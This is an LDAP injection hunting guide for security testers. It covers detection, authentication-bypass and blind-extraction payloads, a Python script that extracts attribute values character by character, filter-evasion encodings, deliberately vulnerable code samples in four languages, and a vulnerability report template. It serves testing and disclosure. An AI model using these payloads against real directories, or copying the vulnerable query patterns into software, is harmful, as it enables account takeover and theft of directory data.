LDAP Injection Hunting Guide: Find and Exploit Directory Service Vulnerabilities
Key Takeaways
- LDAP injection targets directory services (Active Directory, OpenLDAP) through unsanitized user input in LDAP queries
- Authentication bypass is the highest-impact outcome — a single injection can grant access to any account
- Blind LDAP injection is common in modern apps where error messages are suppressed — boolean-based extraction still works
- Most LDAP injection occurs in login forms, user search, and group membership lookups
- LDAP wildcards (
*) are your first detection signal — if*returns all results, the parameter is injectable
Understanding LDAP Queries
LDAP (Lightweight Directory Access Protocol) queries use a filter syntax:
(&(uid=USERNAME)(userPassword=PASSWORD))
When USERNAME comes directly from user input without sanitization, you can inject LDAP filter operators to change the query logic.
LDAP Filter Operators
| Operator | Meaning | Example |
|---|---|---|
& | AND | (&(uid=admin)(pass=secret)) |
| | OR | (|(uid=admin)(uid=root)) |
! | NOT | (!(uid=guest)) |
* | Wildcard | (uid=a*) |
= | Equality | (uid=admin) |
>= | Greater or equal | (uidNumber>=1000) |
<= | Less or equal | (uidNumber<=500) |
Detection Techniques
1. Wildcard Test
The simplest detection — inject * as the username or search term:
Username: *
Password: anything
If the application returns results or logs you in as the first user in the directory, the parameter is injectable.
2. Metacharacter Injection
Inject LDAP special characters and observe behavior:
)(&
)(|
*)((
\00
Error messages mentioning "LDAP", "filter", "directory", or "search" confirm the backend.
3. Boolean-Based Detection
Test true vs false conditions:
# True condition — should behave normally
admin)(|(uid=*
# False condition — should fail
admin)(|(uid=doesnotexist123
Different responses confirm injection.
4. Tautology Injection
*)(uid=*))(|(uid=*
This creates an always-true filter, similar to SQL injection's ' OR 1=1--.
Authentication Bypass
Basic Bypass
If the login query is:
(&(uid=INPUT_USER)(userPassword=INPUT_PASS))
Inject as username:
*)(uid=*))(|(uid=*
This transforms the query into:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))
The first filter (&(uid=*)(uid=*)) is always true — you're authenticated as the first directory entry (usually admin).
Targeted Account Bypass
To log in as a specific user without knowing their password:
Username: admin)(&)
Password: anything
Or:
Username: admin)(|(password=*
Password: anything
Null Password Bypass
Some LDAP implementations allow null binds:
Username: admin
Password: (empty)
If the application doesn't check for empty passwords before the LDAP bind, this may succeed.
Data Extraction
Attribute Enumeration
LDAP entries have attributes (mail, telephoneNumber, description, etc.). Extract them by injecting into search filters:
*)(mail=*
If the application displays search results, you'll see email addresses for all users.
Blind Data Extraction
When the application only returns true/false (e.g., "user found" vs "user not found"), extract data character by character:
# Does admin's password start with 'a'?
admin)(userPassword=a*
# Does admin's password start with 'ab'?
admin)(userPassword=ab*
# Continue until the full value is extracted
Extracting User Lists
# All users whose uid starts with 'a'
a*
# All users in a specific group
*)(memberOf=cn=admins,ou=groups,dc=company,dc=com
Blind LDAP Injection
Boolean-Based
Observe response differences between true and false conditions:
# True — user exists
admin)(uid=admin
# False — user doesn't exist
admin)(uid=nonexistent12345
Use this to enumerate:
- Usernames:
*)(uid=a*→*)(uid=ab*→ ... - Group memberships:
*)(memberOf=cn=X* - Email addresses:
*)(mail=a* - Any LDAP attribute
Automating Blind Extraction
import requests
import string
url = "https://target.example.com/search"
charset = string.ascii_lowercase + string.digits
extracted = ""
while True:
found = False
for c in charset:
payload = f"*)(uid={extracted}{c}*"
r = requests.post(url, data={"username": payload})
if "User found" in r.text:
extracted += c
found = True
print(f"Found so far: {extracted}")
break
if not found:
break
print(f"Extracted value: {extracted}")
LDAP Injection in Different Contexts
Search Filter Injection
Most common. The application builds a filter like:
(cn=USER_INPUT)
Inject: *)(objectClass=* to dump all objects.
DN (Distinguished Name) Injection
Less common but high impact. If user input goes into a DN:
cn=USER_INPUT,ou=users,dc=company,dc=com
Inject: admin,ou=users,dc=company,dc=com to reference a different entry.
Attribute Injection
If the application lets you control which attributes are returned:
LDAP search returning: uid, INPUT_ATTRIBUTE
Inject: userPassword to include password hashes in the response.
Common Vulnerable Patterns
Java (JNDI)
// Vulnerable
String filter = "(&(uid=" + username + ")(userPassword=" + password + "))";
ctx.search("ou=users,dc=company,dc=com", filter, controls);
PHP
// Vulnerable
$filter = "(&(uid=$username)(userPassword=$password))";
ldap_search($conn, "ou=users,dc=company,dc=com", $filter);
Python (python-ldap)
# Vulnerable
filter_str = f"(&(uid={username})(userPassword={password}))"
conn.search_s("ou=users,dc=company,dc=com", ldap.SCOPE_SUBTREE, filter_str)
.NET
// Vulnerable
string filter = $"(&(uid={username})(userPassword={password}))";
searcher.Filter = filter;
Bypass Techniques
Unicode/Hex Encoding
LDAP supports hex-encoded characters:
\2a = *
\28 = (
\29 = )
\5c = \
\00 = NULL
If the application filters *, try \2a instead.
Double Encoding
%252a → decodes to %2a → decodes to *
Case Manipulation
LDAP attribute names are case-insensitive:
(UID=admin) = (uid=admin) = (Uid=admin)
Nested Filters
(|(uid=admin)(uid=admin))
Some WAFs don't parse nested LDAP filters.
Testing Methodology
- Identify targets: Login forms, user search, address books, group lookups, password reset (username field), any feature backed by Active Directory or LDAP
- Fingerprint the backend: Look for error messages mentioning LDAP, Active Directory, or directory services. Check for ports 389/636 in any exposed configuration
- Test wildcards: Submit
*in each input field. If it returns all results or logs you in, it's injectable - Test metacharacters: Submit
),)(,*)(,\00and observe errors or behavior changes - Determine context: Are you in a search filter, DN, or attribute list?
- Exploit: Authentication bypass, data extraction, or privilege escalation depending on context
- Blind extraction: If no direct output, use boolean-based techniques to extract data character by character
Tools
- Burp Suite: Intercept and modify LDAP-bound requests. Use Intruder with LDAP payload lists
- ldapsearch: Command-line LDAP client for testing queries directly:
ldapsearch -x -H ldap://target -b "dc=company,dc=com" "(uid=*)" - OWASP ZAP: Active scanner includes LDAP injection checks
- Custom scripts: Python with
requestsfor blind extraction automation - Nuclei: Has LDAP injection detection templates
Impact Assessment
| Scenario | Severity |
|---|---|
| Authentication bypass (login as any user) | Critical |
| Admin account takeover via auth bypass | Critical |
| Extraction of password hashes | High |
| User enumeration (usernames, emails) | Medium |
| Group membership disclosure | Medium |
| Directory structure disclosure | Low-Medium |
Report Writing
Title
LDAP Injection in [Feature] Allows [Impact]
Template
## Summary
The [login form / user search / address book] at [URL] is vulnerable to LDAP
injection. User input is inserted directly into an LDAP filter without
sanitization, allowing an attacker to [bypass authentication / extract
directory data / enumerate users].
## Steps to Reproduce
1. Navigate to [URL]
2. Enter the following in the [username/search] field: [payload]
3. Submit the form
4. Observe [authentication success / data returned / error message]
## Impact
An attacker can [log in as any user including administrators / extract all
user email addresses and password hashes / enumerate the full directory
structure]. This affects [N users / the admin account / all directory data].
## Remediation
- Use parameterized LDAP queries or LDAP-specific escaping functions
- In Java: use javax.naming.ldap.LdapName for DN construction
- In PHP: use ldap_escape() (PHP 5.6+)
- In Python: use ldap.filter.escape_filter_chars()
- Validate input against an allowlist of expected characters
- Implement rate limiting on login and search endpoints
Related Reading
- Manual SQL Injection Hunting Techniques — another injection class with similar detection methodology
- Authentication Bypass Guide — LDAP injection is a common auth bypass vector
- SSRF Hunting Guide — LDAP injection can chain into SSRF via LDAP URLs
- Command Injection Hunting Guide — injection fundamentals apply across vulnerability classes
- Path Traversal Hunting Guide — another file/data access vulnerability class
- Automated Penetration Testing Guide — automated tools that detect LDAP injection